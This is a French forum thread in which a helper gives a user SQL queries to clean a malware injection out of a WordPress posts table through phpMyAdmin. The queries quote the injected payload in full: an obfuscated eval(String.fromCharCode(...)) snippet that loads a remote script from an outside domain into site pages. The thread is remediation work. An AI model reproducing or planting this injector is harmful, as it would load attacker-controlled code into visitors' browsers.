Desinfection base de données [RESOLU]

Logiciel & apps Programmation
22

du coup comment je peux faire???
(oui, oui, je suis un boulet…)

23

Si tu n’arrives pas à faire passer la requête complète à PhyMyAdmin, tu peux tenter ça :

UPDATE mod694_posts SET post_content = replace(post_content, ‹ eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/ ›, ’ ');

Ça n’enlèvera pas complètement le bloc script des pages infectées, mais ça le rendra totalement inoffensif, et là du coup y a plus de ; dans la requête, ce qui évitera peut-être que PhpMyAdmin la massacre.

24

et après je fais la même avec seulement !!!
merci!!!

25

ah bah finalement ça marche pas…

26

Mais encore ?

27

la même erreur…
arg!!!

28

Ah oui en effet, y a encore un ; qui trainait à la fin. Essaye ça :

UPDATE mod694_posts SET post_content = replace(post_content, ‹ eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125)) ›, ’ ');

(en remplaçant le < avant eval et le > un peu avant la fin par ', c’est Clubic qui a reformaté…)

29

ah merci

30

je fais la resto et je lance

31

juste, je sais que ça a aucun lien mais il ne serait pas possible de faire un echo sur plusieurs lignes en PHP???

33

deso, j’étais a la douche :sweat_smile:.
alors maintenant comment supprimer les « ;; » ???

34

un moyen d’échapper les caractères???

35

Tu peux essayer REGEXP_REPLACE :

UPDATE mod694_posts SET post_content = REGEXP_REPLACE(post_content, '<script>var f=String../*99586587347*/</script>', ' ');

36

je teste

37

le même problème qu’au début :sleepy:

38

Bon ben là ça doit être PhpMyAdmin qui fout la grouille, désolé je pourrai pas aller plus loin, je n’ai pas d’instance PMA de mon côté pour tester.

Mais avec ce qu’on a déjà fait, il n’y aura déjà plus de problème, les bouts de script qui restent sont totalement inoffensifs.

39

merci beaucoup

40

sinon tu sais pas si on peut deplacer les msg sur clubic???
parce que là…

41

Les modérateurs doivent pouvoir faire.

@kyosho62

42

sinon regarde ça stp:

image
image1920×1080 254 KB

t’aurais pas une idée d’échappement des chars???